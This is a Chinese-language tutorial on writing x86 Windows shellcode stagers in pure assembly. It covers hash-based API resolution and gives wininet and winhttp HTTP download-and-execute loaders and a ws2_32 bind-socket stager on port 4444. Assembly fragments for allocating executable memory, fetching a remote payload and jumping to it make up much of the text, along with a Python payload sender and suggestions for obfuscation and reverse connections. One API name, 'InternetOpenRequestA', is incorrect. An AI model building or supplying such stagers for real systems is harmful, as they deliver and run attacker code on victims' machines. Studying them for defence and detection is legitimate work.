Windows Shellcode开发(x86 stager)
字数 1950 2025-08-29 22:41:01
Windows Shellcode开发(x86 stager)技术详解
一、前言
本文详细介绍了x86架构下使用纯汇编语言开发Windows shellcode stager的技术细节,重点涵盖三种不同的网络通信方式实现:
- 基于wininet.dll的HTTP下载执行shellcode
- 基于winhttp.dll的HTTP下载执行shellcode
- 基于ws2_32.dll的TCP socket传输shellcode
二、开发环境与工具
- 调试工具:Windbg、x32dbg/x64dbg、Visual Studio
- 汇编器:MASM
- 关键工具:010Editor(用于提取.text节机器码)
三、核心实现技术
3.1 API动态解析技术
使用GetProcAddressByHash函数通过哈希值动态定位API函数地址:
- 通过
LoadLibraryA加载目标DLL - 遍历DLL导出表计算函数名哈希
- 匹配目标哈希获取函数地址
- 遵循stdcall调用约定,由被调用方清理栈
3.2 通用代码结构
所有实现都包含以下核心部分:
block_api.asm- API哈希解析核心代码- 主功能实现文件(如
block_reverse_http.asm) - 内存管理(
VirtualAlloc) - 数据传输与执行
四、wininet实现详解
4.1 关键API及哈希
| API | 哈希值 |
|---|---|
| InternetOpenA | 0363799Dh |
| InternetConnectA | 2289ACBAh |
| HttpOpenRequestA | 9718794Eh |
| HttpSendRequestA | D7022990h |
| InternetReadFile | 3E73B975h |
| InternetCloseHandle | 30588F36h |
| VirtualAlloc | BCEF49D9h |
| VirtualFree | 07AAD48Ch |
4.2 执行流程
-
初始化会话:
push 0074656Eh ; "net\0" push 77696E69h ; "wini" push esp ; 字符串地址 call LoadLibraryA ; 加载wininet.dll -
建立连接:
; 压入服务器URI call got_server_uri db "/shellcode.bin", 0 got_server_uri: pop edi ; 压入服务器IP call got_server_host db "192.168.1.1", 0 got_server_host: pop esi -
发送请求:
push ebx ; 0 (NULL) push ebx ; 0 (NULL) push ebx ; 0 (NULL) push edi ; URI地址 push ebx ; 0 (NULL) push ebx ; 0 (NULL) push ebx ; 0 (NULL) push ebx ; 0 (NULL) push eax ; InternetConnect返回的句柄 call InternetOpenRequestA -
分配内存:
push 40h ; PAGE_EXECUTE_READWRITE push 1000h ; MEM_COMMIT push 1000h ; 分配大小 push ebx ; NULL call VirtualAlloc xchg eax, ebx ; 保存缓冲区地址到ebx -
分段下载:
read_more: push ebx ; 保存基地址到栈 push ebx ; 创建占位符 mov edi, esp ; edi指向bytesRead变量 ; 读取数据 push edi ; &bytesRead push 200h ; 读取大小 push ebx ; 缓冲区地址 push eax ; 请求句柄 call InternetReadFile ; 移动缓冲区指针 mov eax, [edi] add ebx, eax pop eax ; 清空占位符 -
执行shellcode:
ret ; 跳转到缓冲区执行
五、winhttp实现详解
5.1 关键差异点
-
字符串格式要求宽字符(LPCWSTR):
dw '1','9','2','.','1','6','8','.','1','.','1',0 ; 宽字符IP -
关键API及哈希:
| API | 哈希值 |
|---|---|
| WinHttpOpen | 332D226Eh |
| WinHttpConnect | 39AE9EB0h |
| WinHttpOpenRequest | 0D3431402h |
| WinHttpSendRequest | 094B5BFFh |
| WinHttpReceiveResponse | 0E82D8B6Fh |
| WinHttpReadData | 0F5B42CD6h |
六、ws2_32实现详解
6.1 关键API及哈希
| API | 哈希值 |
|---|---|
| WSAStartup | 78A22668h |
| WSASocketA | 5915B629h |
| bind | 0DF6E8201h |
| listen | 776F8FF6h |
| accept | 597292B3h |
| closesocket | 0D98414B4h |
| recv | 0D7FF7F41h |
6.2 关键实现细节
-
WSAStartup初始化:
push esp ; 指向WSADATA结构 push 0202h ; 版本2.2 call WSAStartup -
socket绑定:
; sockaddr_in结构 push ebx ; sin_addr = 0.0.0.0 push 5C110002h ; sin_port=4444(0x115C), sin_family=AF_INET(2) mov esi, esp ; 保存结构地址 push 16 ; addrlen push esi ; sockaddr_in结构 push eax ; socket句柄 call bind -
数据接收循环:
read_more: push ebx ; flags (0) push 200h ; len push edi ; buf (缓冲区) push esi ; s (socket) call recv test eax, eax ; 检查接收字节数 jz execute_stage ; 接收完成则执行 add edi, eax ; 移动缓冲区指针 jmp read_more ; 继续接收
七、测试方法
-
HTTP测试:
- 使用Python启动HTTP服务器:
python -m http.server 5555 - 访问
/shellcode.bin路径
- 使用Python启动HTTP服务器:
-
TCP测试:
- 使用Python客户端发送payload:
import socket s = socket.socket() s.connect(('192.168.1.1', 4444)) s.send(open('shellcode.bin','rb').read()) s.close()
- 使用Python客户端发送payload:
-
shellcode提取:
- 使用010Editor提取编译后exe的.text节机器码
- 使用runshc32工具运行提取的.bin文件
八、优化与扩展
-
减小体积:
- 复用NULL参数(
push ebx) - 精简错误检查逻辑
- 复用NULL参数(
-
功能扩展:
- 支持HTTPS
- 实现反向TCP连接
- 添加加密/混淆功能
-
x64实现:
- 调用约定差异(fastcall)
- 寄存器使用差异
- 地址空间变化
九、注意事项
- 网络字节序:端口号需使用大端模式
- 字符串格式:注意区分ANSI和宽字符
- 内存对齐:保持栈平衡
- 错误处理:关键API调用后应检查返回值
- 调试技巧:
- 关注寄存器状态变化
- 检查内存数据是否正确写入
- 使用断点分段验证功能
通过以上技术细节,可以构建出功能完整的x86 shellcode stager,实现远程代码下载与执行功能。